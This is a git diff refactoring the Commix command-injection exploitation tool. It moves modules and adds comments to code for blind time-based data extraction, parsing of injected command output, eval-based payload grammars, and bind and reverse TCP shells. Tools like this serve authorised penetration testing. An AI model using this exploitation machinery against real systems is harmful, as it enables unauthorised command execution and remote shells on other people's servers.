@@ -891,11 +932,13 @@ def _extract_position(num_of_chars): # Alternative shells are still experimental. target = cmd if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else OUTPUT_TEXTFILE + # Whether the target waits, asked through an interpreter of its own. def _delayed(candidate, operator, local_timesec): payload = payloads.get_char_alter_interpreter(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return checks.time_related_shell(exec_time, local_timesec) + # The halving itself, over the ordinals the character can still be. def _bisect(local_timesec): lo, hi = min(char_pool) - 1, max(char_pool) while hi - lo > 1: @@ -906,6 +949,7 @@ def _bisect(local_timesec): hi = mid return lo if lo >= min(char_pool) else None + # Whether an ordinal is the answer: it must hold, and the next one up must not. def _boundary_holds(candidate, local_timesec): if not _delayed(candidate, "-le", local_timesec): return False @@ -913,6 +957,7 @@ def _boundary_holds(candidate, local_timesec): return False return True + # Ask again where the target's timing has been unsteady, and take the majority answer. def _validate(candidate, local_timesec): if settings.JITTER_SEEN: votes = [_boundary_holds(candidate, local_timesec) for _ in range(3)] @@ -1048,11 +1093,12 @@ def _validate(candidate, local_timesec): """ def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): + # Send one payload and hand back what the target answered. def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + from src.core.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval import eb_payloads as payloads + from src.core.eval.payloads import classic as payloads else: payloads = checks.file_based_payloads() @@ -1075,8 +1121,11 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques payload_msg = payload_msg.split(settings.COMMENT)[0].strip() if settings.COMMENT in cmd: _ = cmd.split(settings.COMMENT)[0].strip() - debug_msg = "Executing the '" + _ + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # The trace of what is actually being run, which for an internal command is the only word of + # it - but a command the user asked for on the command line has just been named already. + if _ != menu.options.os_cmd: + debug_msg = "Executing the '" + _ + "' command." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response @@ -1177,6 +1226,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + # Ask again, and only believe a finding that answers the same way every time. def _retry_confirm(payload): nonlocal exec_time, vuln_parameter, prefix, suffix consecutive_hits = 0 @@ -1287,6 +1337,7 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): """ def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + # The document root the target's own URL implies, where none was given. def custom_web_root(url, OUTPUT_TEXTFILE): path = _urllib.parse.urlparse(url).path if path.endswith('/'): @@ -1355,8 +1406,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE): else: output = settings.DEFINED_WEBROOT - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking if the file '" + output + "' is accessible." + # Announced once: the same URL is requested again for every separator tried. + if settings.VERBOSITY_LEVEL != 0 and output != settings.LAST_ANNOUNCED_OUTPUT_FILE: + settings.LAST_ANNOUNCED_OUTPUT_FILE = output + debug_msg = "Expecting the command execution output at '" + output + "'." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return output @@ -1417,16 +1470,21 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times try: # Grab execution results html_data = checks.process_page_content(response, action="decode") - html_data = html_data.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) + """ + Every line break stood in for, rather than thrown away. + + The markers are looked for on a single line, so the breaks have to come out of the way first - + but a command's output is its own lines as much as its own characters, and replacing them with + spaces hands back a paragraph where the target answered a list. Marked here and put back once + what is between the markers has been taken, the way the evaluation sink below already does it. + """ + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + html_data = re.sub(settings.END_LINE.CRLF + r"|[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]", new_line, html_data) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) # Replace non-ASCII characters with a single space re.sub(r"[^\x00-\x7f]",r" ", html_data) - for end_line in settings.END_LINES_LIST: - if end_line in html_data: - html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) - break shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) @@ -1438,6 +1496,8 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times # Clear junks shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] shell = [backslash.replace(r"\/","/") for backslash in shell] + # The output's own line breaks, back where they were. + shell = [marked.replace(new_line, settings.END_LINE.LF) for marked in shell] except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: @@ -1487,4 +1547,4 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = "" return shell -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/controller/shell_options.py b/src/core/controller/shell_options.py similarity index 96% rename from src/core/injections/controller/shell_options.py rename to src/core/controller/shell_options.py index 745b64fd80..f9b1572c7c 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/controller/shell_options.py @@ -22,7 +22,7 @@ from src.core.shells import modes from src.core.shells import reverse_tcp from src.core.shells import session_relay -from src.core.injections.controller import checks +from src.core.controller import checks """ Prompts [(b)ack/(q)uit], double-Ctrl-C-safe - shared by a launch/accept interrupt and the relay session's own. @@ -75,7 +75,7 @@ def _report_send_failure(send_result): """ def _report_bind_failure(send_result): err_msg = "Could not connect to " + settings.RHOST + ":" + settings.LPORT + " - the shell likely " - err_msg += "didn't start (missing binary/interpreter on the target, or the port is firewalled/unreachable)." + err_msg += "did not start (missing binary/interpreter on the target, or the port is firewalled/unreachable)." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) _report_send_failure(send_result) @@ -197,6 +197,7 @@ def _tcp_config_generic(mode_name, mode_options, launch, other_config, execute_c Configure the bind TCP shell, dispatching command execution through the given executor callback. """ def bind_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + # Send the payload and hand the connection over to the relay. def launch(cmd): send_result = {} threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start() @@ -228,12 +229,13 @@ def launch(cmd): Configure the reverse TCP shell, dispatching command execution through the given executor callback. """ def reverse_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + # Hand the connection to Metasploit, or to the built-in relay where it is not in use. def launch(cmd): if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")): server = _local_listener_active(settings.LHOST, settings.LPORT, keep_listening=True) if server is None: warn_msg = "Could not listen on " + settings.LHOST + ":" + settings.LPORT + " - either something is already " - warn_msg += "bound there, or that address isn't local to this host. Falling back to the external-listener workflow for this run." + warn_msg += "bound there, or that address is not local to this host. Falling back to the external-listener workflow for this run." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) shell = _execute_shell_launch(execute_cmd, cmd, filename, url) if shell: @@ -250,7 +252,7 @@ def launch(cmd): conn, addr = server.accept() except socket.timeout: err_msg = "No connection observed back on " + settings.LHOST + ":" + settings.LPORT + " - the reverse " - err_msg += "shell likely didn't come back (target unreachable, missing interpreter on the target, or blocked egress)." + err_msg += "shell likely did not come back (target unreachable, missing interpreter on the target, or blocked egress)." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) _report_send_failure(result) except KeyboardInterrupt: @@ -351,3 +353,4 @@ def check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url else: return go_back, go_back_again +# eof diff --git a/src/core/convert.py b/src/core/convert.py index f3a07b9a66..2954082678 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -52,3 +52,4 @@ def hexencode(value): _ = True return value, _ +# eof diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index feded58857..0dc621e6a7 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -20,8 +20,8 @@ to one - a module here is used by whichever technique carries it. """ -from src.core.eval import php -from src.core.eval import python +from src.core.eval.grammars import php +from src.core.eval.grammars import python LANGUAGES = {php.NAME: php, python.NAME: python} @@ -36,3 +36,5 @@ def supported(): """ def grammar(language=None): return LANGUAGES.get(language) or LANGUAGES[php.NAME] + +# eof diff --git a/src/core/injections/results_based/techniques/eval/eb_handler.py b/src/core/eval/eb_handler.py similarity index 95% rename from src/core/injections/results_based/techniques/eval/eb_handler.py rename to src/core/eval/eb_handler.py index f310f57047..7c62294b3b 100755 --- a/src/core/injections/results_based/techniques/eval/eb_handler.py +++ b/src/core/eval/eb_handler.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import handler +from src.core.controller import handler """ The dynamic code evaluation (aka eval-based) technique. @@ -32,4 +32,4 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/results_based/techniques/eval/eb_injector.py b/src/core/eval/eb_injector.py similarity index 96% rename from src/core/injections/results_based/techniques/eval/eb_injector.py rename to src/core/eval/eb_injector.py index 063c3ba9f8..d85e6d8e28 100755 --- a/src/core/injections/results_based/techniques/eval/eb_injector.py +++ b/src/core/eval/eb_injector.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import injector +from src.core.controller import injector """ The dynamic code evaluation (aka eval-based) technique. @@ -38,4 +38,4 @@ def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_meth def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): url = OUTPUT_TEXTFILE = timesec = "" return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/__init__.py b/src/core/eval/grammars/__init__.py similarity index 98% rename from src/core/injections/__init__.py rename to src/core/eval/grammars/__init__.py index de196a7f70..7cd55728d8 100644 --- a/src/core/injections/__init__.py +++ b/src/core/eval/grammars/__init__.py @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/core/eval/php.py b/src/core/eval/grammars/php.py similarity index 98% rename from src/core/eval/php.py rename to src/core/eval/grammars/php.py index e6085794fb..4d53f2079d 100644 --- a/src/core/eval/php.py +++ b/src/core/eval/grammars/php.py @@ -80,7 +80,7 @@ def print_statement(separator, commands, chain=None): if separator == "": return "print(" + ".".join("`" + command + "`" for command in commands) + ")" - return "print(`" + (chain or separator).join(commands) + "`)%3B" + return "print(`" + (chain or separator).join(commands) + "`)" + TERMINATOR """ The expressions every payload is built out of, spelled the way this language spells them. diff --git a/src/core/eval/python.py b/src/core/eval/grammars/python.py similarity index 100% rename from src/core/eval/python.py rename to src/core/eval/grammars/python.py diff --git a/src/core/injections/blind/__init__.py b/src/core/eval/payloads/__init__.py similarity index 98% rename from src/core/injections/blind/__init__.py rename to src/core/eval/payloads/__init__.py index de196a7f70..7cd55728d8 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/eval/payloads/__init__.py @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/core/injections/results_based/techniques/eval/eb_payloads.py b/src/core/eval/payloads/classic.py similarity index 98% rename from src/core/injections/results_based/techniques/eval/eb_payloads.py rename to src/core/eval/payloads/classic.py index 0439b7f3c0..a8ed9b5264 100755 --- a/src/core/injections/results_based/techniques/eval/eb_payloads.py +++ b/src/core/eval/payloads/classic.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ The dynamic code evaluation (aka eval-based) technique. @@ -108,4 +108,4 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): return cmd_execution(separator, TAG, cmd) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/semiblind/techniques/eval/fb_payloads.py b/src/core/eval/payloads/file_based.py similarity index 100% rename from src/core/injections/semiblind/techniques/eval/fb_payloads.py rename to src/core/eval/payloads/file_based.py diff --git a/src/core/injections/semiblind/techniques/eval/tfb_payloads.py b/src/core/eval/payloads/tempfile_based.py similarity index 100% rename from src/core/injections/semiblind/techniques/eval/tfb_payloads.py rename to src/core/eval/payloads/tempfile_based.py diff --git a/src/core/injections/blind/techniques/eval/eb_payloads.py b/src/core/eval/payloads/time_based.py similarity index 100% rename from src/core/injections/blind/techniques/eval/eb_payloads.py rename to src/core/eval/payloads/time_based.py diff --git a/src/core/injections/blind/techniques/oob/__init__.py b/src/core/injections/blind/techniques/oob/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/blind/techniques/oob/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/controller/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/results_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/results_based/techniques/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval/__init__.py b/src/core/injections/results_based/techniques/eval/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/results_based/techniques/eval/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/semiblind/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/semiblind/techniques/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/eval/__init__.py b/src/core/injections/semiblind/techniques/eval/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/semiblind/techniques/eval/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index d384cc320e..9e80fc4bf9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -24,7 +24,7 @@ _http_client._MAXLINE = 1 * 1024 * 1024 from socket import error as SocketError from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import logs from src.utils import purge from src.utils import update @@ -42,9 +42,9 @@ from src.core.requests import requests from src.core.requests import cookies from src.core.requests import redirection -from src.core.injections.controller import checks -from src.core.injections.controller import parser -from src.core.injections.controller import controller +from src.core.controller import checks +from src.core.parse import request as parser +from src.core.controller import controller from src.thirdparty.six.moves import reload_module as _reload_module # Set default encoding @@ -63,6 +63,7 @@ Define HTTP User-Agent header. """ def defined_http_headers(url): + # Note that headers of the user's own are going onto every request. def extra_headers(): if any((menu.options.header, menu.options.headers)): settings.EXTRA_HTTP_HEADERS = True @@ -70,11 +71,13 @@ def extra_headers(): debug_msg = "Setting extra HTTP headers." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Say which cookie is being sent, where the run is verbose enough to care. def cookie(): if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.COOKIE + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Settle what the 'Referer' header carries, asking for one where the level calls for it. def referer(url): if menu.options.referer is None: if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL: @@ -83,6 +86,7 @@ def referer(url): debug_msg = "Setting the HTTP " + settings.REFERER + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Settle what the 'Host' header carries, defaulting to the target's own. def host(url): if menu.options.host is None: menu.options.host = _urllib.parse.urlparse(url).netloc @@ -90,6 +94,7 @@ def host(url): debug_msg = "Setting the HTTP " + settings.HOST + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Settle what the 'User-Agent' header carries: the user's, a mobile one, or a random one. def user_agent(): # Determine which option is enabled mobile_agent = menu.options.mobile @@ -170,7 +175,8 @@ def examine_request(request, url): """ def check_internet(url): settings.CHECK_INTERNET = True - settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) + # Asked of somewhere on the internet, not of the target: a target that answers says nothing about + # the connection, and one that does not is exactly the case this is meant to tell apart. info_msg = "Checking for internet connection." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -178,8 +184,10 @@ def check_internet(url): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) - headers.do_check(request) - examine_request(request, url) + # Carries nothing of the target's: its 'Host' header names a host this one does not serve, and + # the cookies and credentials that were given for it belong to it alone. + request.add_header(settings.USER_AGENT, settings.DEFAULT_USER_AGENT) + examine_request(request, settings.CHECK_INTERNET_ADDRESS) except (Exception, SystemExit): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." @@ -190,6 +198,7 @@ def check_internet(url): """ def init_request(url, http_request_method): + # The first request to the target, built the way every later one will be. def perform_init_request(url, http_request_method): if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) @@ -198,6 +207,7 @@ def perform_init_request(url, http_request_method): headers.do_check(request) return request + # One request that does not follow redirects, to see where the target sends us. def redirect_probe_request(url, http_request_method): request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) @@ -539,7 +549,7 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True elif menu.options.url_reload: - warn_msg = "The '--url-reload' option has no effect without '--data'." + warn_msg = "The '--url-reload' switch has no effect without the '--data' option." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.flush_session: @@ -627,7 +637,7 @@ def main(filename, url, http_request_method): menu.options.eval_sink = menu.options.eval_sink or settings.EVAL_ALL_LANGUAGES remaining = menu.options.tech.replace(settings.EVAL_TECHNIQUE_LETTER, "") if remaining: - warn_msg = "Code injection is selected with the '--eval' switch now, and the technique is " + warn_msg = "Code injection is selected with the '--eval' option now, and the technique is " warn_msg += "chosen separately with '--technique', so only code injection is tested." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) menu.options.tech = "".join(settings.EVAL_CAPABLE_TECHNIQUES) @@ -750,10 +760,10 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) - # Procedure for target server identification. - requests.server_identification(response) # Procedure for target application identification requests.application_identification(url, response) + # Procedure for target server identification. + requests.server_identification(response) # Specifies the technology supporting the web application requests.technology_identification(response) # Procedure for target server's operating system identification. @@ -825,9 +835,8 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) # Get total number of days from last update - if os.path.isfile(settings.SETTINGS_PATH): - if settings.STABLE_RELEASE == False: - common.days_from_last_update() + if settings.STABLE_RELEASE == False: + common.days_from_last_update() # Check if specified wrong alternative interpreter if menu.options.interpreter: @@ -850,6 +859,7 @@ def main(filename, url, http_request_method): # Hard '--time-limit' cutoff - a signal, immune to exception handling elsewhere. if menu.options.time_limit and hasattr(signal, "alarm"): + # Stop the run where it has been going longer than '--time-limit' allows. def _time_limit_reached(signum, frame): err_msg = "Reached the specified time limit of " + str(menu.options.time_limit) + " second(s)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -921,7 +931,7 @@ def _time_limit_reached(signum, frame): checks.set_optimize() if menu.options.codec: - if menu.options.codec.lower() not in settings.ENCODING_LIST: + if not settings.known_encoding(menu.options.codec): err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." @@ -973,7 +983,7 @@ def _time_limit_reached(signum, frame): tor.do_check() if menu.options.ignore_session and menu.options.flush_session: - err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." + err_msg = "The '--ignore-session' switch is unlikely to work combined with the '--flush-session' switch." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1160,6 +1170,18 @@ def _time_limit_reached(signum, frame): if inject_tag_regex_match: settings.INJECT_TAG = inject_tag_regex_match.group(0) + # What can be answered without the target is answered before it is contacted: a path that does + # not exist is no reason to have opened a connection, let alone to have sent it a payload. + if menu.options.file_write is not None: + if not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if not os.path.isfile(menu.options.file_write): + err_msg = "The specified path '" + menu.options.file_write + "' is not a file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check provided parameters for tests checks.check_provided_parameters() @@ -1281,6 +1303,7 @@ def _time_limit_reached(signum, frame): # Stream plain stdin targets as they arrive; total_href stays None until the stream ends. if settings.STDIN_PARSING and not settings.CRAWLING: + # The same items in the same order, with anything seen before left out. def _dedupe_lazy(iterable): seen = set() for x in iterable: @@ -1497,4 +1520,4 @@ def _dedupe_lazy(iterable): except SystemExit: raise checks.exit() -# eof \ No newline at end of file +# eof diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index f6d2e68b0f..d4fd892d13 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings """ @@ -40,3 +40,5 @@ def load_modules(url, http_request_method, filename): settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) raise SystemExit() raise SystemExit() + +# eof diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e9ce934cbc..26a2c42338 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -6,15 +6,15 @@ import random from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client -from src.utils import menu +from src.core.parse import cmdline as menu from 